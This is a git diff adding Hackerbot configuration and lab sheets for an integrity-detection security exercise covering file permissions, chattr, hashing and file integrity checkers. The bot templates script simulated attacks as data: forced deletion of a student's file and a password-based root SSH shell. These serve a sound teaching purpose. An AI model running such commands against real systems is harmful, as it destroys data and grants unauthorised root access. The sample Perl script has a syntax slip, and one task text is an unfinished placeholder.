+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along
+ When you are ready, simply say 'ready'.
+ 'Ready'?
+ Better hurry, the attack is imminent... Let me know when you're 'ready'.
+ Ok, I'll do what I can to move things along...
+ Moving things along to the next attack...
+ Ok, next attack...
+ Ok, I'll do what I can to back things up...
+ Ok, previous attack...
+ Ok, backing up.
+ Ok, skiping it along.
+ Let me see what I can do to goto that attack.
+ That was the last attack for now. You can rest easy, until next time... (End.)
+ That was the last attack. Game over?
+ You are back to the beginning!
+ This is where it all began.
+ Ok. Gaining shell access, and running post command...
+ Hacking in progress...
+ Attack underway...
+ Here we go...
+ We are in to your system.
+ You are pwned.
+ We have shell.
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Don't ask me. I just work here.
+
+
+ Oh no. Failed to get shell... You need to let us in.
+
+
+
+ An attempt to delete /home/dropbear/trade_secrets/credit_card is coming. Stop the attack using access controls.
+
+ rm --interactive=never /home/dropbear/trade_secrets/credit_card; echo $?
+
+ Permission denied|Operation not permitted
+ :) Well done!
+ true
+
+
+ 0
+ :( We managed to delete your file! You need to use access controls to protect the file.
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb
new file mode 100644
index 000000000..a9bbc7697
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb
@@ -0,0 +1,39 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_string_generator.rb'
+require 'erb'
+require 'fileutils'
+class HackerbotConfigGenerator < StringGenerator
+ attr_accessor :accounts
+ attr_accessor :flags
+ attr_accessor :root_password
+ LOCAL_DIR = File.expand_path('../../',__FILE__)
+ FILE_PATH = "#{LOCAL_DIR}/files/example_bot.xml"
+
+ def initialize
+ super
+ self.module_name = 'Hackerbot Config Generator'
+ self.accounts = []
+ self.flags = []
+ self.root_password = ''
+ end
+
+ def get_options_array
+ super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT]]
+ end
+
+ def process_options(opt, arg)
+ super
+ case opt
+ when '--root_password'
+ self.root_password << arg;
+ end
+ end
+
+ def generate
+ self.outputs << File.read(FILE_PATH)
+ end
+
+end
+
+
+HackerbotConfigGenerator.new.run
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml
new file mode 100644
index 000000000..58a68a2ab
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml
@@ -0,0 +1,22 @@
+
+
+
+ Hackerbot config for an example bot
+ Z. Cliffe Schreuders
+ GPLv3
+ Generates a config file for a basic example config for hackerbot.
+
+ hackerbot_config
+ linux
+
+ root_password
+
+
+ puppet
+
+
+ hackerbot
+
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp b/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb
new file mode 100644
index 000000000..85fc51e4e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb
@@ -0,0 +1,19 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
+
+class Integrity2 < HackerbotConfigGenerator
+
+ def initialize
+ super
+ self.module_name = 'Hackerbot Config Generator Integrity'
+ self.title = 'Integrity management: detecting changes'
+
+ self.local_dir = File.expand_path('../../',__FILE__)
+ self.templates_path = "#{self.local_dir}/templates/"
+ self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+ self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+ end
+
+end
+
+Integrity2.new.run
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml
new file mode 100644
index 000000000..2761e25c4
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml
@@ -0,0 +1,53 @@
+
+
+
+ Hackerbot config for an integrity detection lab
+ Z. Cliffe Schreuders
+ GPLv3
+ Generates a config file for a hackerbot for an integrity lab.
+ Topics covered: Detecting changes to resources using backups;
+ File integrity checkers.
+
+ hackerbot_config
+ linux
+
+ accounts
+ flags
+ root_password
+
+
+
+
+
+
+ vagrant
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ puppet
+
+
+ hackerbot
+
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb
new file mode 100644
index 000000000..72dab611a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb
@@ -0,0 +1,29 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb
new file mode 100644
index 000000000..8e89ace31
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb
@@ -0,0 +1,4 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb
new file mode 100644
index 000000000..825860781
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb
@@ -0,0 +1,3 @@
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb
new file mode 100644
index 000000000..e9782150b
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb
@@ -0,0 +1,87 @@
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ.
+
+Make a directory to store your backups. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/backups/
+```
+
+==Make a backup copy of your /etc/passwd file:==
+
+```bash
+cp /etc/passwd /home/<%= $main_user %>/backups/
+```
+
+This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes.
+
+==Add a new user== to your computer...
+
+```bash
+sudo useradd new-username
+```
+> Where ==*new-username*==, is some new name.
+
+To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious:
+
+```bash
+sudo vi /etc/passwd
+```
+> Move the cursor onto the line representing your new account (probably at the bottom).
+>
+> In vi type:
+> :m *-==number==*
+>
+> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Look at the changes in your accounts made on your computer, and try to spot the new user account:
+
+```bash
+less /etc/passwd
+```
+> (q to exit)
+
+It's not as easy as it sounds, especially if your system has lots of user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command.
+
+==Run:==
+
+```bash
+diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code:
+
+```bash
+diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+
+The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup.
+
+Make a backup of your personal_secrets. ==Run:==
+
+```bash
+cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal
+```
+> The -r tells cp to copy directories and their contents recursively (including sub-directories)
+
+==Make a change to a file== in <%= $example_dir %>
+
+Then ==compare using diff:==
+
+```bash
+diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/
+```
+> -r instructs diff to do a recursive comparison (searching through sub-directories)
+> You can add *--suppress-common-lines* to reduce the amount of output
+
+There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit.
+
+> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb
new file mode 100644
index 000000000..5ca2ed8a6
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb
@@ -0,0 +1,69 @@
+### Protecting integrity with file attributes
+#### Getting to know file attributes
+Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files.
+
+[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways.
+
+==Run:==
+
+```bash
+lsattr <%= $example_file %>
+```
+``
+ -------------e- <%= $example_file %>
+``
+
+The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do:
+
+```bash
+man chattr
+```
+> (Press q to leave the manual page)
+
+==Set the 'i' flag== using the chattr command:
+
+```bash
+sudo chattr +i <%= $example_file %>
+```
+
+Now ==try to delete the file== and see what happens:
+
+```bash
+rm <%= $example_file %>
+```
+Denied!
+
+==Use root permissions== to try to delete the file:
+
+```bash
+sudo rm <%= $example_file %>
+```
+
+It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first.
+
+==Use some commands to remove the 'i' flag==
+> Hint: '-i', instead of '+i'.
+
+Now run a command to ==set the 'a' flag on <%= $example_file %>.==
+
+If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:==
+
+```bash
+sudo bash -c 'echo "test message" > <%= $example_file %>'
+```
+> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+```bash
+sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>'
+```
+> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'.
+
+==View your changes== at the end of the file:
+
+```bash
+tail <%= $example_file %>
+```
+
+This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb
new file mode 100644
index 000000000..9fc0ac381
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb
@@ -0,0 +1,89 @@
+### Protecting integrity with file permissions
+#### Getting to know file permissions
+
+File permissions enable users to control the access that other users have to their files.
+
+We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions.
+
+Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole).
+
+Start by creating a file with some content.
+
+==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+> The output is sent to the file /home/<%= $main_user %>/example
+>
+> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name.
+
+You can read the content:
+
+```bash
+cat /home/<%= $main_user %>/example
+```
+
+Or replace the content:
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--").
+
+By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files.
+
+You can remove the ability of *anyone* changing the content. ==Run:==
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+```
+> -w means "remove write access (for everyone)"
+
+Try changing the content. ==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+
+You can't.
+
+You can remove the ability of **everyone else** changing the content. ==Run:==
+
+```bash
+chmod u+w,o-rw /home/<%= $main_user %>/example
+```
+> u+w: user who owns the file, add write access
+> o-rw: others, remove read and write access
+
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+Note that **the root user can access any files**, regardless of file permissions.
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+sudo cat /home/<%= $main_user %>/example
+```
+> Enter your password, and note that as root you can access the file regardless of permissions.
+
+"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges.
+
+Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb
new file mode 100644
index 000000000..a960e7cf6
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb
@@ -0,0 +1,125 @@
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons.
+
+Hashes have security properties that enable this use:
+
+- Each hash is unique to the input
+- It is extremely difficult (practically impossible) to find another input that produces the same hash output
+- Any change to the input (no matter how minor) changes the output hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence.
+
+==Generate an MD5 hash== of your backup password file, which you copied previously:
+
+```bash
+md5sum /home/<%= $main_user %>/backups/passwd
+```
+
+Now ==calculate a hash== of your current passwd file:
+
+```bash
+md5sum /etc/passwd
+```
+
+If the generated hashes are different, you know the files do not have **exactly the same content**.
+
+Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one.
+
+==Repeat the above two commands using shasum== rather than md5sum.
+
+SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes.
+
+==Run the following== to generate a file containing hashes of files we can later check against:
+
+```bash
+mkdir /home/<%= $main_user %>/hashes/
+
+shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha
+sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Look at the contents== of our new hashes file:
+
+```bash
+less /home/<%= $main_user %>/hashes/hash.sha
+```
+> Press q to quit when done
+
+Now use your new hash list to ==check that nothing has changed== since we generated the hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Lab book question: Why does shasum fail to check the integrity of the shadow file?==
+
+==Make a change== to the end of <%= $example_file %>:
+
+```bash
+echo "hello" >> *your-name*
+```
+
+Check whether anything has changed since we generated hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+You should see a nice explanation of the files that have changed since generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a Perl script):
+
+```perl
+ #!/usr/bin/perl
+ # Copyleft Z. Cliffe Schreuders
+ # Licenced under the terms of the GPLv3
+
+ use warnings;
+ use strict;
+
+ my %files_hashes = (
+ "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+ "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+ "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+ );
+
+ foreach my $file_entry (keys %files_hashes) {
+ my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`;
+ chomp($hash);
+ if($hash ne $files_hashes{$file_entry}){
+ warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n";
+ } else {
+ print "File unmodified: $file_entry (hash was $hash, as expected)\n";
+ }
+ }
+```
+
+This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same.
+
+==Save the script as checker.pl==
+> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl.
+>
+> Alternatively you can type:
+> "cat > checker.pl"
+> Paste with Ctrl-Shift-V.
+> Then, Ctrl-D, to end the input.
+
+Then ==run the script== with:
+
+```bash
+perl checker.pl
+```
+
+==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?==
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb
new file mode 100644
index 000000000..2c5f26457
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb
@@ -0,0 +1,53 @@
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages.
+
+==View the files containing MD5 hashes== stored for the packages on the system:
+```bash
+ls /var/lib/dpkg/info/*.md5sums
+```
+
+==View the contents== of one of the files.
+
+debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/).
+
+Verify all files installed by all packages:
+```bash
+sudo debsums -ac
+```
+> Ctrl-C to end the program early.
+> Options for debsum include:
+> -a also check config files
+> -e *only* check config files
+> -c only report *changed* files
+
+Verify the files installed by a specific package:
+```bash
+sudo debsums firefox
+```
+
+Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to:
+
+```bash
+dpkg-query -S *any-file-you-chose*
+```
+> Where ==any-file-you-chose== is any file such as /etc/securetty.
+
+The output of that command contains the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+```bash
+sudo debsums -a *package-name*
+```
+> Where package-name is the output from the previous command.
+
+Try to understand the cause of any files failing the integrity checks.
+
+==Workbook question: What are the limitations of this approach?==
+
+- What files will (and won't) this approach to integrity management cover?
+- Are the hashes protected against tampering?
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb
new file mode 100644
index 000000000..1f436705a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb
@@ -0,0 +1,124 @@
+#### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes.
+
+==Run:==
+
+```bash
+sudo sha1deep -r /etc/
+```
+> You can stop the program early by pressing Ctrl-C
+
+The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+```bash
+man sha1deep
+```
+> ==Figure out what the -r flag does.==
+>
+> (q to quit)
+
+We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration:
+
+```bash
+sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes
+```
+
+This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual content that we have hashed...
+
+See how big our list of hashes is:
+
+```bash
+ls -hs /home/<%= $main_user %>/hashes/etc_hashes
+```
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc/:
+
+```bash
+sudo du -hs /etc/
+```
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, **the list of hashes is much smaller**.
+
+Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test).
+> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'.
+
+Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!'
+
+Lets try to identify what has changed on our system...
+
+Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash previously generated:
+
+```bash
+sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc
+```
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+```bash
+sudo cp /etc/passwd /etc/passwd.backup
+```
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created.
+
+Generate a hash list for /etc using hashdeep:
+
+```bash
+sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+
+Hashdeep stores hashes in a different format than the previous tools. Have a look:
+
+```bash
+less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file size for each file.
+
+Delete the new file that you created earlier:
+
+```bash
+sudo rm /etc/*whatever-the-filename-was*
+```
+
+Conduct a hashdeep audit to detect any changes:
+
+```bash
+sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc
+```
+> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed:
+
+```bash
+sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc
+```
+
+Consult the man page for information about what each of the above flags do.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb
new file mode 100644
index 000000000..9246c0774
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb
@@ -0,0 +1,538 @@
+<%
+ require 'json'
+ require 'securerandom'
+ require 'digest/sha1'
+ require 'fileutils'
+ require 'erb'
+
+ if self.accounts.empty?
+ abort('Sorry, you need to provide an account')
+ end
+
+ $first_account = JSON.parse(self.accounts.first)
+ $files = []
+ $log_files = []
+ if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0
+ $files = $first_account['leaked_filenames']
+ $log_files = $first_account['leaked_filenames'].grep(/log/)
+ end
+
+ if $files.empty?
+ $files = ['myfile', 'afile', 'filee', 'thefile']
+ end
+ if $log_files.empty?
+ $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+ end
+
+ $main_user = $first_account['username'].to_s
+
+ $root_password = self.root_password
+ $flags = self.flags
+
+ REQUIRED_FLAGS = 17
+ while $flags.length < REQUIRED_FLAGS
+ $flags << "flag{#{SecureRandom.hex}}"
+ Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+ end
+
+
+
+ def get_binding
+ binding
+ end
+%>
+
+
+
+
+
+ Bossbot
+
+ config/AIML
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+ Hi. Welcome to the organisation! I am your line manager, Bossbot. Just thought I'd show you around and get you started. I am going to ask you to perform some tasks. If you complete them successfully I'll give you some flags.
+
+
+ Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along
+ When you are ready, simply say 'ready'.
+ Are you 'ready'?
+ Let me know when you're 'ready'. We aren't paying you to just sit around!
+ Ok...
+ Next task then...
+ Ok, next task.
+ Ok, back to the previous task.
+ Ok, previous task...
+ Ok, backing up.
+ Ok, skipping it along.
+ Alright, lets do that task.
+ That was the last task for now. You can rest easy, until next time... (End.)
+ That was the last task. Keep up the good work!
+ You are back to the beginning!
+ This is where it all began.
+ Ok. Running command...
+ Here we go...
+ I have connected to your system.
+ I have shell on the system.
+ Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Wouldn't you like to know.
+
+
+ Oh no. Failed to get shell... You need to let me in.
+
+
+
+ Introduction
+
+
+
+ true
+
+
+
+
+<% $file = $files.sample -%>
+ First, could you please check what users are [TODO].
+
+ rm --interactive=never /home/<%= $main_user %>/<%= $file %>; echo $?
+
+ Permission denied
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ 0
+ :( We managed to delete your file! You need to use access controls to protect the file. Create a new file.
+
+
+ No such file or directory
+ :( The file <%= $file %> should exist!
+
+
+ :( Something was not right...
+
+
+ <%= File.read TEMPLATES_PATH + 'file_permissions.md.erb' %>
+
+
+
